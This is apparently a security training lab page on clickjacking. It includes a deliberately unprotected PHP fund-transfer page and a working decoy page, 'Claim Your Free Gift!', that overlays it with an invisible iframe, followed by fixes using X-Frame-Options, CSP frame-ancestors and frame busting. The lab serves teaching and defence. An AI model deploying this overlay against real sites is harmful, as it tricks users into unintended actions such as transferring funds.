Network

Web Apps

System

Cloud

Cryptography

IoT

Exercise 57: Clickjacking Using Invisible Frames

by | Jul 16, 2025 | 0 comments

Objective

Learn how to exploit Clickjacking vulnerabilities by embedding invisible frames on a malicious web page to trick users into performing unintended actions on a legitimate website. Understand how to mitigate this risk using security headers and JavaScript-based defenses.


Scenario

You are assessing a web application that allows users to perform sensitive actions (e.g., clicking a button to transfer funds) without implementing protections against clickjacking. An attacker can exploit this by embedding the legitimate site in an invisible iframe on a malicious page and tricking users into performing unintended actions.


Lab Setup

Prerequisites:

  • Basic knowledge of HTML, CSS, and web security concepts.
  • XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).

Step 1: Create the Vulnerable Web Application

  1. Vulnerable Action Page (vulnerable_button.php)
    • Create a file vulnerable_button.php: <?php if (isset($_POST['transfer'])) { echo "<h2>Funds Transferred!</h2>"; } ?> <h2>Transfer Funds</h2> <form method="POST"> <button type="submit" name="transfer">Transfer $100</button> </form>
  2. Running the Application
    • Start the Apache server.
    • Place vulnerable_button.php in the web server’s root directory (htdocs for XAMPP).
    • Open http://localhost/vulnerable_button.php in your browser.

Step 2: Create the Malicious Clickjacking Page

  1. Malicious Page (clickjacking.html)
    • Create a file clickjacking.html: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Claim Your Free Gift!</title> <style> iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 2; } button { position: absolute; top: 200px; left: 200px; z-index: 1; padding: 20px; background-color: #4CAF50; color: white; font-size: 20px; } </style> </head> <body> <h1>Click the Button to Win a Prize!</h1> <button>Claim Your Prize</button> <iframe src="http://localhost/vulnerable_button.php"></iframe> </body> </html>
  2. Running the Malicious Page
    • Open clickjacking.html in your browser.

Expected Result:

  • When users click the visible Claim Your Prize button, they unknowingly click the invisible Transfer $100 button on the vulnerable site.

Solution and Prevention

Problem Analysis

  • The application allows itself to be embedded in iframes without restriction, enabling clickjacking attacks.

Fixing the Vulnerability

  1. Implement X-Frame-Options Header
    • Add the following header to prevent iframe embedding: header("X-Frame-Options: DENY");
    • Alternatively, to allow framing only from the same origin: header("X-Frame-Options: SAMEORIGIN");
  2. Use Content Security Policy (CSP)
    • Configure the CSP header to prevent iframe embedding: header("Content-Security-Policy: frame-ancestors 'none';");
  3. JavaScript-Based Frame Busting
    • Use JavaScript to detect if the page is loaded in a frame: if (window.top !== window.self) { window.top.location = window.self.location; }
  4. User Interaction Verification
    • Require user verification for sensitive actions (e.g., CAPTCHA or confirmation dialogs).

Testing After Fix

  1. Open clickjacking.html after implementing X-Frame-Options or CSP.
  2. Expected Result:
    • The iframe fails to load the vulnerable page, or the browser blocks the frame.
  3. Attempt to bypass the protections.
  4. Expected Result:
    • The application effectively prevents any embedding attempts.

Conclusion

In this lab, you exploited a Clickjacking vulnerability using invisible frames to trick users into performing unintended actions. You also learned how to prevent this vulnerability by implementing security headers like X-Frame-Options, using Content Security Policy (CSP), and applying JavaScript-based frame busting techniques.

0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *